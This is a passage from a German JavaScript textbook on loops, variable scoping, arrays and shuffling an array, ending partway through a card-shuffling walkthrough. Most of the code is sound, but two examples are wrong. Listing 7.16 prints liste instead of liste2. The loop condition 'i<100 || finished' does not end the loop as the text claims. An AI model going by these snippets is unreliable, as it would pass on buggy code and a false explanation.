                Zur Erklärung:

                
                    	
                        let i = 0 stellt die Deklaration der Zählvariablen samt Zuweisung des Startwertes dar und wird zu Beginn der Schleife einmal ausgeführt. Man kann umgangssprachlich sagen: »Der Zählvariable i wird der Startwert 0 zugewiesen.«

                    

                    	
                        Zu Beginn eines jeden Schleifendurchlaufs wird überprüft, ob die Durchlaufbedingung i<100 erfüllt ist: Wenn ja, wird der Codeblock der Schleife ausgeführt; wenn nein, bricht die Schleife ab und ist fertig.

                    

                    	
                        Am Ende eines jeden Schleifendurchlaufs wird i mit (i++) um den Wert 1 erhöht, und die Schleife springt wieder an den Anfang, wo erneut die Durchlaufbedingung geprüft wird.

                    

                

                
                    [»]  Scoping

                    Würde man in diesem Beispiel die Variable i nicht mit let i=0, sondern mit var i=0 deklarieren, so wäre sie nach Beendigung der Schleife immer noch verfügbar, was jedoch selten sinnvoll ist. Der Grund liegt, wie in Abschnitt 7.4.1 unter »Kleine Wertespeicher – Variablen« beschrieben, an der Verwendung der Variable. Abbildung 7.23 zeigt das zugehörige Flussdiagramm.

                

                
                    [image: Das Flussdiagramm einer »for«-Schleife zeigt recht deutlich, wie es zu dem Begriff »Schleife« kommt: Der Code läuft im Kreis.]

                    Abbildung 7.23    
            Das Flussdiagramm einer »for«-Schleife zeigt recht deutlich, wie es zu dem Begriff »Schleife« kommt: Der Code läuft im Kreis.

                
                Sehen wir uns einige Beispiele an:

                
                    [zB]  Ausgabe der Zahlen 200 bis 300 in Zweierschritten

                    Geben Sie die Zahlen 200 bis 300 in Zweierschritten in der Ausgabekonsole aus.

                    for(let i=200; i<=300; i+=2) {
  console.log(i);
} 


                

                
                    [zB]  Ausgabe der Zahlen 300 bis -20 in Einerschritten

                    Geben Sie die Zahlen 300 bis -20 in Einerschritten in der Ausgabekonsole aus.

                    for(let i=300; i>=-20; i--) {
  console.log(i);
} 


                

                
                    [zB]  Ausgabe der Zahlen 120 bis 130 in halben Schritten

                    Zählen Sie von 120 bis 130 in 0,5-er Schritten.

                    for(let i=120; i<=130; i+= 0.5) {
  console.log(i);
} 


                

                Wie Sie sehen, ist die for-Schleife variabler, als man vielleicht gedacht hätte.

                for-Schleifen dürfen auch ineinander verschachtelt werden, wodurch man von »einer Schleife in der Schleife« spricht. Beachten Sie bitte in diesem Fall, dass Sie für die beiden Schleifen unterschiedliche Zählvariablen verwenden müssen, wenn Sie die Zählvariablen mit var anstatt let deklarieren, da ansonsten die Zählvariable der inneren Schleife die Zählvariable der äußeren Schleife überschreibt. Dies führt entweder zu einem verfrühten Ende der äußeren Schleife (sofern die Zählvariable der inneren Schleife weiter gelaufen ist, als diejenige der äußeren Schleife laufen darf) oder zu einer Endlosschleife (sofern der umgekehrte Fall eintritt und somit die äußere Zählvariable ihren Endwert nie erreichen kann).

                Das folgende Beispiel zeigt das erste der beiden genannten Probleme: Die innere Schleife erhöht i, bis es den Wert 3 erreicht, was der Grund für das Ende der inneren Schleife ist. Dieser Wert 3 überschreibt danach den ursprünglichen Wert 0 von i der äußeren Schleife. Weil die äußere Schleife jedoch bei i>=2 abbricht, ist nach dem ersten vollständigen Durchlauf der inneren Schleife auch die äußere Schleife zu Ende:

                for(var i=0; i<2; i++) {
  document.write('<li>äußeres i=' + i + '<ul>');
  for(var i=0; i<3; i++) {
    document.write('<li>inneres i=' + i + '</li>');
  }
  document.write('</ul></li>');
}


                Listing 7.13    
            Verschachtelte »for«-Schleifen mit identischen Zählvariablen sind nicht zu empfehlen: Je nach Deklaration (»var« oder »let«) verhalten sie sich unterschiedlich.

                
                    [image: Die Deklaration der Zählvariable mit »var« ist generell nicht zu empfehlen.]

                    Abbildung 7.24    
            Die Deklaration der Zählvariable mit »var« ist generell nicht zu empfehlen.

                
                Durch die Deklaration mit let kann das nicht passieren, da die Zählvariable der inneren Schleife »außerhalb« nicht mehr existiert und demnach die äußere Zählvariable auch nicht überschreiben kann, wie das folgende Beispiel zeigt:

                for(let i=0; i<2; i++) {
  document.write('<li>äußeres i=' + i + '<ul>');
  for(let i=0; i<3; i++) {
    document.write('<li>inneres i=' + i + '</li>');
  }
  document.write('</ul></li>');
}


                Listing 7.14    
            Mit einer »let«-Deklaration verhält sich das Beispiel anders.

                
                    [image: Wird hingegen mit »let« deklariert, kommen sich die Zählvariablen nicht in die Quere.]

                    Abbildung 7.25    
            Wird hingegen mit »let« deklariert, kommen sich die Zählvariablen nicht in die Quere.

                
                Generell ist es jedoch besser, im Falle verschachtelter Schleifen mit unterschiedlichen Zählvariablennamen zu arbeiten, sodass dieses Problem namens Shadowing (zwei ineinander verschachtelte Blöcke verwenden identische Variablennamen) erst gar nicht auftritt. Dies gilt insbesondere auch für die – noch folgende – serverseitige Sprache PHP, in der nicht zwischen derartigen Gültigkeitsbereichen unterschieden wird, weswegen wir in jedem Fall in dieses Problem der sich überschreibenden Variablen schlittern würden. Folgender Code zeigt die beste Herangehensweise:

                for(let i=0; i<2; i++) {
  document.write('<li>äußeres i=' + i + '<ul>');
  for(let j=0; j<3; j++) {
    document.write('<li>inneres j=' + j + '</li>');
  }
  document.write('</ul></li>');
}


                Listing 7.15    
            Der bessere Weg: zwei unterschiedliche Variablen, deklariert mit »let«

                Es wird Ihnen nicht entgangen sein, dass die Variablennamen mit i und j bezeichnet wurden. Gründe hierfür gibt es eigentlich nicht, außer historische.

                
                    [image: Setzen Sie unterschiedliche Variablen ein und Sie eliminieren dadurch eine potenzielle Fehlerquelle.]

                    Abbildung 7.26    
            Setzen Sie unterschiedliche Variablen ein und Sie eliminieren dadurch eine potenzielle Fehlerquelle.

                
            
            
                Wenn wir’s nicht wissen: Schleifen mit einer variablen Anzahl an Durchläufen

                Bei dieser Art von Schleife wissen wir von vornherein nicht, wie oft sie durchlaufen wird – dies wird erst während der Abarbeitung der Schleife entschieden. Von essenzieller Bedeutung ist, dass man als Programmierer selbst dafür Sorge tragen muss, dass die Schleife abbrechen (beendet werden) kann, da ansonsten die Gefahr einer Endlosschleife droht. Dies bedeutet mit anderen Worten, dass die Durchlaufbedingung auf irgendeine Art durch denjenigen Code beeinflusst werden muss, der sich innerhalb der Schleife befindet. Die Vertreter solcher Schleifen sind einerseits die while- und andererseits die do-while-Schleife.

                
                    Die while-Schleife

                    Syntax:

                    while(Durchlaufbedingung) {
  //Codeblock
}


                    
                        [zB]  Zufallszahlen

                        Erzeugen Sie eine Zufallszahl zwischen 0,5 und 1, ohne dass Sie für das Generieren der Zufallszahl eine untere Grenze festlegen.

                        Eine Zufallszahl wird über die Funktion random() erzeugt, die sich im Math-Objekt befindet (deshalb auch die Schreibweise Math.random()). Die Funktion selbst erzeugt eine Zufallszahl zwischen 0 und 1 mit einer Genauigkeit von 16 Nachkommastellen.

                        let zufall = Math.random(); erzeugt also eine Zufallszahl zwischen 0 und 1, also beispielsweise 0,2342297420717355.

                        let zufall = Math.random(); //erzeugt eine Zufallszahl zw. 0 und 1
while(zufall<0.5) {
  zufall = Math.random();
} 


                    

                    Zur Erklärung des Codes:

                    
                        	
                            Zu Beginn wird einer Variable zufall eine zufällige Zahl zwischen 0 und 1 zugewiesen. Beachten Sie: Dieser Teil gehört nicht zur Schleife, wir benötigen ihn jedoch, damit unser Beispiel funktioniert.

                        

                        	
                            Es wird geprüft, ob eine Variable zufall kleiner als 0,5 ist. Ist das der Fall, betreten wir die Schleife; ist das nicht der Fall, wird die Schleife übersprungen (und läuft somit gar nicht durch).

                        

                        	
                            Innerhalb der Schleife wird der Variable zufall erneut ein zufälliger Wert zugewiesen, und danach wird die Durchlaufbedingung erneut geprüft usw. → Die Schleife läuft also zwischen den Schritten 2 und 3 durch.

                        

                    

                    
                        [Info]  Kopfgesteuerte Schleifen

                        Im Falle einer kopfgesteuerten Schleife wird die Bedingung bereits am Anfang der Schleife geprüft. Daher kann es sein, dass diese Schleife eventuell nie durchläuft. Das ist dann der Fall, wenn die Durchlaufbedingung bereits am Anfang der Schleife nicht erfüllt ist. Die while-Schleife ist demnach eine kopfgesteuerte Schleife (ebenso wie die for-Schleife).

                    

                
                
                    Die do-while Schleife

                    Syntax:

                    do {
  //Code der Schleife
} while(Durchlaufbedingung); 


                    
                        [Info]  Fußgesteuerte Schleifen

                        Bei fußgesteuerten Schleifen wird die Durchlaufbedingung der Schleife erst am Ende überprüft, wodurch die Schleife mindestens einmal durchläuft. Die do-while-Schleife ist eine solche fußgesteuerte Schleife.

                    

                    Ein Vergleich von while und do-while ergibt:

                    
                        
                            
                                	
                                    do-while

                                
                                	
                                    while

                                
                            

                        
                        
                            
                                	
                                    let zufall;
do {
zufall = Math.random();
} while(zufall<0.5);


                                
                                	
                                    let zufall = Math.random();
while(zufall<0.5) {
  zufall = Math.random();
}


                                
                            

                        
                    

                    Tabelle 7.4    
            Schleifen im Vergleich

                    Die do-while Schleife wird in jedem Fall einmal betreten, so auch in diesem Beispiel (»Erzeugen Sie ein Zufallszahl >=0,5«). Somit wäre die do-while Schleife an dieser Stelle die bessere Wahl.

                    
                        [zB]  Eine Zufallszahl zwischen 0,5 und 0,7 erzeugen

                        Erzeugen Sie eine Zufallszahl zwischen 0,5 und 0,7.

                        let zufall;
do {
  zufall = Math.random();
} while(zufall<0.5 || zufall>0.7); 
console.log("Beispiel 1: " + zufall); 


                    

                    
                        [zB]  Eine Zufallszahl größer als 0,8 erzeugen

                        Erzeugen Sie eine Zufallszahl >0,8.

                        let zufall;
do {
  zufall = Math.random();
} while(zufall<0.8); 
console.log("Beispiel 2: " + zufall); 


                    

                    
                        [zB]  Eine Zufallszahl zwischen 5 und 8 erzeugen

                        Erzeugen Sie eine Zufallszahl zwischen 5 und 8, indem Sie zunächst eine Zufallszahl zwischen 0 und10 erzeugen.

                        let zufall;
do {
  zufall = 10*Math.random();
} while(zufall<5 || zufall>8); 
console.log("Beispiel 3: " + zufall); 


                    

                    
                        [zB]  Den User auffordern, seine Lieblingsfarbe einzugeben

                        Fragen Sie den User so lange nach seiner Lieblingsfarbe, bis er die Farbe »Blau« eingegeben hat.

                        let farbe;
do {
  farbe = prompt("Bitte geben Sie Ihre Lieblingsfarbe ein:");
} while(farbe!="Blau"); 


                    

                    
                        [zB]  Die Eingaben des Users aufsummieren

                        Fragen Sie den User so lange nach einer Zahl, bis die Summe all seiner bisher eingegebenen Zahlen größer als 200 ist.

                        let summe = 0, eingabe;
do {
  eingabe = prompt("Bitte geben Sie eine Zahl ein:");
  summe = summe + parseFloat(eingabe); /* Beachten Sie: die eingegebene Zahl ist im Allgemeinen ein String und muss daher in eine Zahl umgewandelt werden --> parseFloat */
} while(summe<=200);
console.log("Beispiel 5: summe=" + summe); 


                        Alternative Vorgehensweise:

                        let summe = 0, eingabe;
while(summe<=200) {
  eingabe = prompt("Bitte geben Sie eine Zahl ein:");
  summe = summe + parseFloat(eingabe);
}
console.log("Beispiel 5: summe=" + summe); 


                    

                    
                        [zB]  for-Schleife mit variabler Anzahl an Durchläufen?

                        Theoretisch ist es möglich, auch eine for-Schleife mit einer variablen Anzahl an Durchläufen zu basteln, wie folgendes Beispiel zeigt:

                        let finished = false;
for(let i=0; i<100 || finished; i++) {
  if(Math.random()>0.5) { finished = true; }
  …
} 


                        Hier wird im Schleifenteil eine Zufallszahl erzeugt, die bei einem Wert größer 0,5 die Variable finished auf true setzt, wodurch die Schleife abbricht. Dennoch geht das an der Idee hinter der for-Schleife vorbei.

                    

                
            
        
        
            7.4.4    Nicht eine, sondern Hunderte Variablen benötigt? Arrays!

            Ein Array ist die Möglichkeit, unter einem Namen mehr als nur einen Wert zu einem speziellen Zeitpunkt zu speichern (anders als mit einer Variablen, die zu einem speziellen Zeitpunkt immer nur einen Wert speichern kann). Ein Array können Sie sich grafisch als eine einzeilige Tabelle vorstellen, in der die Spalten durchnummeriert werden. Aus diesem Grund sprechen wir auch von sogenannten indizierten Arrays, da sie mit einem Index (einer Zahl zur Nummerierung) arbeiten. Bitte beachten Sie, dass die Nummerierung bei 0 beginnt:

            
                
                    
                        	
                            0

                        
                        	
                            1

                        
                        	
                            2

                        
                        	
                            3

                        
                        	
                            4

                        
                        	
                            5

                        
                        	
                            6

                        
                        	
                            7

                        
                        	
                            8

                        
                        	
                            9

                        
                    

                
                
                    
                        	
                        	
                        	
                        	
                        	
                        	
                        	
                        	
                        	
                        	
                    

                
            

            Die Syntax zum Erzeugen eines Arrays mit dem Namen liste ist wie folgt:

            let liste = [];


            Diese Zeile erzeugt zunächst ein leeres Array ohne Einträge, und somit ist die Länge des Arrays gleich 0: Es beinhaltet keinerlei gespeicherte Werte.

            
                [»]  Literal- und Objektschreibweise

                Neben dieser sogenannten Literalschreibweise existiert auch die Schreibweise, die explizit ein Array-Objekt erzeugt (Objektschreibweise):

                let liste = new Array(); 

                Die Unterschiede zwischen den beiden Herangehensweisen sind gering, aber wir werden etwas weiter unten einen wesentlichen Unterschied aufdecken.

            

            Um ein Array nun mit Werten zu befüllen, greifen wir auf bestimmte Stellen – sogenannte Indizes – zu. Das fühlt sich zunächst vielleicht eigenartig an, da das Array ja noch gar keine solche Stellen besitzt. Keine Angst: Diese entstehen in JavaScript durch die Zuweisung eines Wertes. Und es entsteht sogar noch viel mehr: Sollten Sie beispielsweise an der Stelle 3 des Arrays einen Wert schreiben wollen, obwohl die Stellen 0, 1 und 2 noch gar nicht existieren, so werden diese automatisch angelegt. Die Werte, die an diese Stellen geschrieben werden, sind undefined.

            liste[3] = 17; // erzeugt an der vierten Stelle den Eintrag 17 (Beachten Sie: 
// es wird bei 0 zu zählen begonnen.) 
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            liste[1] = "AbcD";
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            liste[1] = "Uwe23";
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            liste[5] = liste[1] + liste[3];
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            liste[0] = 3*liste[3]+4;
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            Die Länge eines Arrays kann mithilfe der Eigenschaft length ermittelt werden und stellt im Falle von JavaScript die Anzahl der Elemente im Array dar – jedoch auch diejenigen, die den Wert undefined aufweisen:

            let laenge = liste.length; //ergibt in unserem Fall den Wert 6


            Um auf einen Eintrag des Arrays zuzugreifen, muss man nicht unbedingt mit Zahlen arbeiten, sondern kann diese auch zuvor in eine Variable schreiben und dann mithilfe der Variablen auf die jeweilige Stelle im Array zugreifen:

            let i = 3;
console.log(liste[i]); //in unserem Fall ergibt das den Eintrag liste[3] → 17


            Gerne nennt man Arrays und for-Schleifen in einem Atemzug, da man in der Programmierung nicht selten vor der Aufgabe steht, den gesamten Inhalt eines Arrays zu verarbeiten. Betrachten wir das folgende Beispiel, um zu sehen, wie man beispielsweise sämtliche gespeicherten Werte aus einem Array auslesen kann, damit Sie eine erste Idee bekommen, wie man hierbei vorgeht:

            let liste2 = [];
liste2[0] = 7;
liste2[1] = "ABC";
liste2[2] = -9;
liste2[5] = true;
liste2[3] = false;
for(let i=0; i<liste2.length; i++) {
  console.log(liste[i]);
}


            Listing 7.16    
            Eine »for«-Schleife, um die Einträge eines Arrays in der Entwicklerkonsole auszugeben
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            Werfen wir einen Blick auf die einzelnen Schleifendurchläufe der for-Schleife:

            
                	
                    Erster Durchlauf: Die Schleifenvariable i beinhaltet den Wert 0; man könnte auch sagen, sie »repräsentiert den Wert 0«. Greifen wir innerhalb des Schleifencodes auf den »i-ten Eintrag im Array liste« zu, so könnte man auch sagen, dass wir in diesem Schleifendurchlauf auf den nullten Eintrag im Array liste2 zugreifen, da i in diesem Schleifendurchlauf den Wert 0 aufweist. Der nullte Eintrag des Arrays besitzt den Wert 7 (siehe die oben stehende Abbildung des Arrays), und somit wird schlussendlich der Wert 7 in der Entwicklerkonsole ausgegeben:

                    i=0 → liste2[i] → liste2[0] → 7 


                

                	
                    Zweiter Durchlauf: Die Schleifenvariable i wurde am Ende des vorangegangenen Durchlaufs (aufgrund von i++) um eins erhöht und weist nun den Wert 1 auf. Folgen wir den Erklärungen zum ersten Durchlauf, so bedeutet dies, dass der Wert "ABC" in der Entwicklerkonsole ausgegeben wird:

                    i=1 → liste2[i] → liste2[1] → "ABC" 


                

            

            Die weiteren Durchläufe folgen demselben Schema: i wird am Ende eines jeden Durchlaufs um 1 erhöht:

            
                	
                    Dritter Durchlauf: i=2 → liste2[i] → liste2[2] → -9

                

                	
                    Vierter Durchlauf: i=3 → liste2[i] → liste2[3] → false

                

                	
                    Fünfter Durchlauf: i=4 → liste2[i] → liste2[4] → undefined

                

                	
                    Sechster Durchlauf: i = 5 → liste2[i] → liste2[5] → true

                

            

            Danach bricht die Schleife ab, da i nun den Wert 6 angenommen hat, aber unsere Durchlaufbedingung festgelegt hat, dass i<liste2.length und somit i<6 sein muss, da die Länge der Liste dem Wert 6 entspricht (liste2.length → 6).

            Der Code zum Eintragen von Werten in ein Array war im vorangegangenen Beispiel noch etwas »holprig«. Wenn wir die Wertzuweisung mit derjenigen von Variablen vergleichen, so existiert bei Variablen eine vereinfachte Schreibweise, die wir in ähnlicher Weise auch für Arrays vorfinden: Anstatt wie im obigen Beispiel alle Werte einzeln anzulegen, könnte man dies auch bereits beim Deklarieren des Arrays tun:

            let liste2 = [7,"ABC",-9,false,undefined,true];
//oder; var liste2 = new Array(7,"ABC",-9,false,undefined,true)


            
                Literal- vs. Objektdeklaration von Arrays

                An dieser Stelle offenbart sich eine sehr wesentliche Unterscheidung zwischen der Literal- und der Objektdeklaration von Arrays. Insbesondere die explizite Deklaration als Array birgt eine Gefahr in sich: Gibt man beim Deklarieren des Arrays nur einen einzigen Wert an und ist dieser zufälligerweise auch noch eine Zahl, so wird diese Zahl nicht als nullter Eintrag ins Array geschrieben, sondern es wird ein leeres Array mit dieser Anzahl an Stellen erzeugt:

                let liste3 = new Array(5);


                Zu erwarten wäre vielleicht ein Array mit dem Wert 5 an der Stelle 0, wie die folgende Darstellung zeigt:
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                Sie erhalten aber nicht obige Darstellung, sondern die folgende Darstellung:
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                Würden Sie stattdessen das Array in Literalschreibweise deklarieren (let liste3 = [5];), so würden Sie tatsächlich das erwartete Array erhalten, wo an der nullten Stelle des Arrays der Wert 5 eingetragen wird.

            
            
                Spezialfall: Mehrdimensionale Arrays

                Der Begriff mehrdimensionale Arrays ist etwas irreführend, da man bei »mehrdimensional« sofort an die geometrischen Dimensionen denkt, was jedoch unweigerlich dazu führen würde, dass ab der dritten Dimension für uns Menschen Schluss ist. Vielmehr versteht man unter diesem Begriff ein »Array an einer bestimmten Stelle im Array« – also ein Array im Array.

                Die Vorgehensweise ist denkbar einfach, entspricht sie doch der gewohnten Art und Weise, ein Array zu erzeugen. Lediglich das (deklarierende) Wort let (oder var) fehlt, da nur das »Haupt-Array« deklariert wird. Mit diesem Wissen können wir also an jeder Stelle des Arrays wieder ein Array einfügen. Das folgende Beispiel zeigt, wie an der dritten Stelle im Array (zur Erinnerung: Das ist die Stelle mit dem Index 2) ein neues Array mit fünf leeren Einträgen erzeugt wird. In der Tabelle wird die Struktur, die dabei entsteht, noch etwas übersichtlicher abgebildet:

                let liste = new Array(3); //leeres Array mit drei Stellen
liste[2] = new Array(5);
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                Das Array selbst lässt sich nach wie vor wie gewohnt verwenden, wie der Code liste [1] = 17; zeigt, wodurch am Index 1 der Wert 17 geschrieben wird. Um nun das neu gewonnene Array am Index 2 mit Werten zu befüllen, setzt man ein zweites eckiges Klammernpaar ein. Im folgenden Code wird am Index 3 des Arrays, das sich an Index 2 des Arrays liste befindet, der Wert "Hallo!" geschrieben. Beachten Sie auch hier wieder die bildliche Darstellung in der Tabelle:

                liste[1] = 17;
liste[2][3] = "Hallo!";
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                    [»]  Array-Längen

                    Die Länge des »Unter-Arrays« an der Stelle 2 unserer Liste ermitteln Sie, indem Sie liste[2].length; schreiben (liste[2].length → 5). Die Länge des Arrays liste wird nach wie vor wie gewohnt mittels liste.length; ermittelt:

                    liste.length → 3

                

                Das Thema »Array in Array« kann man beliebig fortsetzen, was folgender Code verdeutlicht:

                liste[2][4] = new Array(2);
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                Als Länge des zweiten Unter-Arrays ergibt wiederum liste[2][4].length; (→ 2).

                
                    [Info]  Array-Methoden

                    JavaScript stellt uns eine ganze Reihe praktischer Methoden zur Verfügung, um mit Arrays zu arbeiten. Sei es das Sortieren von Arrays (die sort()-Methode) oder das Filtern von Einträgen (die filter()-Methode). Eine gute Übersicht finden Sie bei Mozilla:

                    https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array

                

            
            
                Shake it, baby: Arrays mischen

                Das (zufällige) Mischen eines Arrays ist eine oft benötigte Anwendung in jeder Programmiersprache, wobei die meisten Programmiersprachen hierfür eine eigene Funktion anbieten. Nicht jedoch JavaScript, weshalb es eine gute Übung ist, dies selbst zu durchdenken. Gebraucht wird ein gemischtes Array nicht selten – das Beispiel unseres Kartenspiels zeigt eine Möglichkeit auf.

                
                    Kurz und knackig, aber auch gut?

                    Ansätze zum Mischen existieren viele, weshalb ich Ihnen zunächst einen sehr einfachen Ansatz zeigen möchte. Angenommen, wir haben es mit einem Array zu tun, das eine variable Anzahl an Werten aufweist, die gemischt werden sollen:

                    let a = [7,9,10,13,27,29,34,38,41,50,99,101]; //die Ausgangslage


                    Sollen diese Werte gemischt werden, so kann man sich der sort-Funktion bedienen. Diese erwartet die Angabe, ob aufsteigend oder absteigend sortiert werden soll, indem ihr pro zu sortierendem Element einen positiven (aufsteigende Sortierung) oder negativen (absteigende Sortierung) Wert übergibt. Verbindet man dies mit einer Zufallszahl, die zufällig einen positiven oder negativen Wert generiert (0.5-Math.random()), so werden die einzelnen Einträge Schritt für Schritt verglichen und somit »gemischt« werden.

                    let b = a.sort((i,j) => 0.5 - Math.random()); //das gemischte Array


                    Das wirkt im ersten Moment recht attraktiv, ist jedoch keine echte Mischfunktion. Probieren Sie’s mal aus. Sie werden feststellen, dass an der ersten Stelle des »gemischten« Arrays entweder die Zahl 7 oder die Zahl 9 steht. Der Grund hierfür ist, dass die Sortierfunktion der Reihe nach immer zwei aufeinanderfolgende Zahlen vergleicht und diese danach entweder aufsteigend oder absteigend sortiert.

                    Resümee: Nicht gut!

                
                
                    Etwas ausführlicher, dafür aber gut

                    Der folgende Code arbeitet so:

                    
                        	
                            Es wird zunächst die Länge des bestehenden Arrays ermittelt.

                            Dies ist deshalb erforderlich, da pro Schleifendurchlauf aus dem Array a ein (zufällig gewählter) Eintrag entfernt wird, wodurch sich die Länge des Arrays laufend verringert.

                        

                        	
                            Pro Schleifendurchlauf wird per Zufall ein Index aus dem bestehenden Array ausgewählt (Variable zufall) und der dort befindliche Wert ermittelt.

                            Die Funktion Math.random() liefert eine Zahl zwischen 0 und 1, wobei die obere Grenze (1) nie erreicht werden kann. Aus diesem Grund darf mit der aktuellen Länge des Arrays multipliziert und danach mittels Math.floor() abgerundet werden. Beispiel: Die aktuelle Länge des Arrays ist 7, Math.random() erzeugt die kleinstmögliche Zufallszahl 0. Das Ergebnis ist dann Math.floor(7*0) und somit 0, was man die untere Grenze nennt. Sollte Math.random() die größtmögliche Zahl erzeugen (0.9999999999999999), so ergäbe dies Math.floor(7*0.9999999999999999) und somit 6, was man die obere Grenze nennt.

                        

                        	
                            Dieser Wert wird in das neue Array b geschrieben (b.push(a[zufall]); fügt den Inhalt des Arrays a am Index i ans Ende des Arrays b an) und aus dem bestehenden Array a entfernt (a.splice(zufall,1)).

                            let a = [7,9,10,13,27,29,34,38,41,50,99,101];
let b = []; //hier stehen später die gemischten Elemente
let laenge = a.length; //die Länge des zu mischenden Arrays
for(let i=0; i<laenge; i++) {
  let zufall = Math.floor(a.length*Math.random()); //Zufallszahl zwischen 0 
//und der aktuellen Länge des Arrays -1
  b.push(a[zufall]); //fügt ans Ende des Arrays b den zufällig 
//ausgewählten Wert ein
  a.splice(zufall,1); //entfernt ein Element an der Stelle zufall aus dem 
//Array a
} 


                            Listing 7.17    
            Wir mischen uns selbst das Array und können dabei viel für unsere Programmierkenntnisse tun

                        

                    

                    Um eine Analogie zur realen Welt herzustellen, können Sie sich Folgendes vorstellen: Ein Stapel Karten soll gemischt werden, wobei der Stapel das Array und die einzelnen Karten die Einträge des Arrays darstellen. Der Kartenstapel besteht zunächst aus den unten dargestellten Karten:

                    
                        [image: Ein Kartenstapel aus den zehn dargestellten Karten.]

                        Abbildung 7.27    
            Ein Kartenstapel aus den zehn dargestellten Karten.

                    
                    Weil es sich um 10 Karten handelt, muss man also zehnmal eine zufällige Karte aus dem Stapel nehmen und diese Karte auf einen neuen Stapel legen (der neue Stapel entspricht dann dem zweiten, gemischten Array). Die zehnte Karte würde alternativ am Schluss übrig bleiben und müsste nicht mehr per Zufall ausgewählt werden – das ist Geschmacksache.

                    Überträgt man diese Idee in einen Code, so handelt es sich bei der Auswahl einer zufälligen Karte und das Legen dieser Karte auf den neuen Stapel offensichtlich um einen Schleifendurchlauf. Die Anzahl der Schleifendurchläufe ist durch die Anzahl der Karten (= Anzahl der Einträge im Array a) vorgegeben. Somit läuft die Schleife einmal weniger als die Anzahl der Karten durch.

                    Gehen wir es an:

                    Runde 0:

                    
                        	
                            Es wird zunächst zufällig die Karte 3 ausgewählt (die Zufallszahl ergab abgerundet den Wert 3): let zufall = Math.floor(a.length*Math.random()); → 3

                        

                        	
                            Dementsprechend wird die Karte mit dem Index 3 auf den Stapel der gemischten Karten gelegt (sinngemäß in das Array b an der Stelle 0 gelegt):

                            b.push(a[zufall]);


                        

                        	
                            Diese Karte wird somit aus dem bestehenden Kartenstapel entnommen (entfernt): a.splice(zufall,1); → Es wird ab der Stelle zufall eine Karte aus dem Array a entnommen.

                        

                    

                    
                        [image: Array a vor dem Entnehmen der Karte 3]

                        Abbildung 7.28    
            Array a vor dem Entnehmen der Karte 3

                    
                    
                        [image: Array b nach dem Einfügen der Karte 3 (→ Karo 4) aus dem Array a]

                        Abbildung 7.29    
            Array b nach dem Einfügen der Karte 3 (→ Karo 4) aus dem Array a

                    
                    
                        [image: Array a nach dem Entnehmen der Karte 3: Die nachfolgenden Indizes sind nachgerückt (hellblau hinterlegt).]

                        Abbildung 7.30    
            Array a nach dem Entnehmen der Karte 3: Die nachfolgenden Indizes sind nachgerückt (hellblau hinterlegt).

                    
                    Runde 1:

                    
                        	
                            Es wird zufällig die Karte 7 aus den verbliebenen neun Karten ausgewählt (die Zufallszahl ergab abgerundet den Wert 7): let zufall = Math.floor(a.length*Math. random()); → 7

                        

                        	
                            Dementsprechend wird die Karte mit dem Index 7 auf den Stapel der gemischten Karten gelegt (sinngemäß in das Array b an der Stelle 1 gelegt; derzeit liegt dort erst eine Karte: Karo 4): b.push(a[zufall]);

                        

                        	
                            Diese Karte wird somit aus dem bestehenden Kartenstapel entnommen (entfernt): a.splice(zufall,1); → Es wird ab der Stelle zufall eine Karte aus dem Array a entnommen.

                        

                    

                    
                        [image: Array a vor dem Entnehmen der Karte 7]

                        Abbildung 7.31    
            Array a vor dem Entnehmen der Karte 7

                    
                    
                        [image: Array b nach dem Einfügen der Karte 3 (→ Pik 6) aus dem Array a]

                        Abbildung 7.32    
            Array b nach dem Einfügen der Karte 3 (→ Pik 6) aus dem Array a

                    
                    
                        [image: Array a nach dem Entnehmen der Karte 7: Die nachfolgenden Indizes sind nachgerückt.]

                        Abbildung 7.33    
            Array a nach dem Entnehmen der Karte 7: Die nachfolgenden Indizes sind nachgerückt.

                    
                    Runde 2:

                    
                        	
                            Es wird zufällig die Karte 4 aus den verbliebenen acht Karten ausgewählt. (Die Zufallszahl ergab abgerundet den Wert 4.)

                        

                        	
                            Dementsprechend wird die Karte mit dem Index 4 auf den Stapel der gemischten Karten gelegt.

                        

                        	
                            Diese Karte wird somit aus dem bestehenden Kartenstapel entnommen (entfernt).

                        

                    

                    
                        [image: Array a vor dem Entnehmen der Karte 4]

                        Abbildung 7.34    
            Array a vor dem Entnehmen der Karte 4

                    
                    
                        [image: Array b nach dem Einfügen der Karte 4 (Pik Dame) aus dem Array a]

                        Abbildung 7.35    
            Array b nach dem Einfügen der Karte 4 (Pik Dame) aus dem Array a

                    
                    
                        [image: Array a nach dem Entnehmen der Karte 4: Die nachfolgenden Indizes sind nachgerückt.]

                        Abbildung 7.36    
            Array a nach dem Entnehmen der Karte 4: Die nachfolgenden Indizes sind nachgerückt.

                    
                    Runde 3: Karte 2 wird per Zufall ausgewählt.

                    
                        [image: Array a vor dem Entnehmen der Karte 2]

                        Abbildung 7.37    
            Array a vor dem Entnehmen der Karte 2

                    
                    
                        [image: Array b nach dem Einfügen der Karte 2 (Karo 9) aus dem Array a]

                        Abbildung 7.38    
            Array b nach dem Einfügen der Karte 2 (Karo 9) aus dem Array a

                    
                    
                        [image: Array a nach dem Entnehmen der Karte 2: Die nachfolgenden Indizes sind nachgerückt.]

                        Abbildung 7.39    
            Array a nach dem Entnehmen der Karte 2: Die nachfolgenden Indizes sind nachgerückt.

                    
                    Runde 4: Alle weiteren Runden stellen nurmehr die entsprechenden Änderungen in den Arrays dar; die zufällig ausgewählte Karte ist hervorgehoben.

                    
                        [image: Array a vor dem Entnehmen der Karte]

                        Abbildung 7.40    
            Array a vor dem Entnehmen der Karte

                    
                    
                        [image: Array b nach dem Einfügen der Karte]

                        Abbildung 7.41    
            Array b nach dem Einfügen der Karte

                    
                    
                        [image: Array a nach dem Entnehmen der Karte]

                        Abbildung 7.42    
            Array a nach dem Entnehmen der Karte

                    
                    Runde 5:

                    
                        [image: Array a vor dem Entnehmen der Karte]

                        Abbildung 7.43    
            Array a vor dem Entnehmen der Karte

                    
                    
                        [image: Array b nach dem Einfügen der Karte]

                        Abbildung 7.44    
            Array b nach dem Einfügen der Karte

                    
                    
                        [image: Array a nach dem Entnehmen der Karte]

                        Abbildung 7.45    
            Array a nach dem Entnehmen der Karte

                    
                    Runde 6:

                    
                        [image: Array a vor dem Entnehmen der Karte]

                        Abbildung 7.46    
            Array a vor dem Entnehmen der Karte

                    
                    
                        [image: Array b nach dem Einfügen der Karte]

                        Abbildung 7.47    
            Array b nach dem Einfügen der Karte

                    
                    
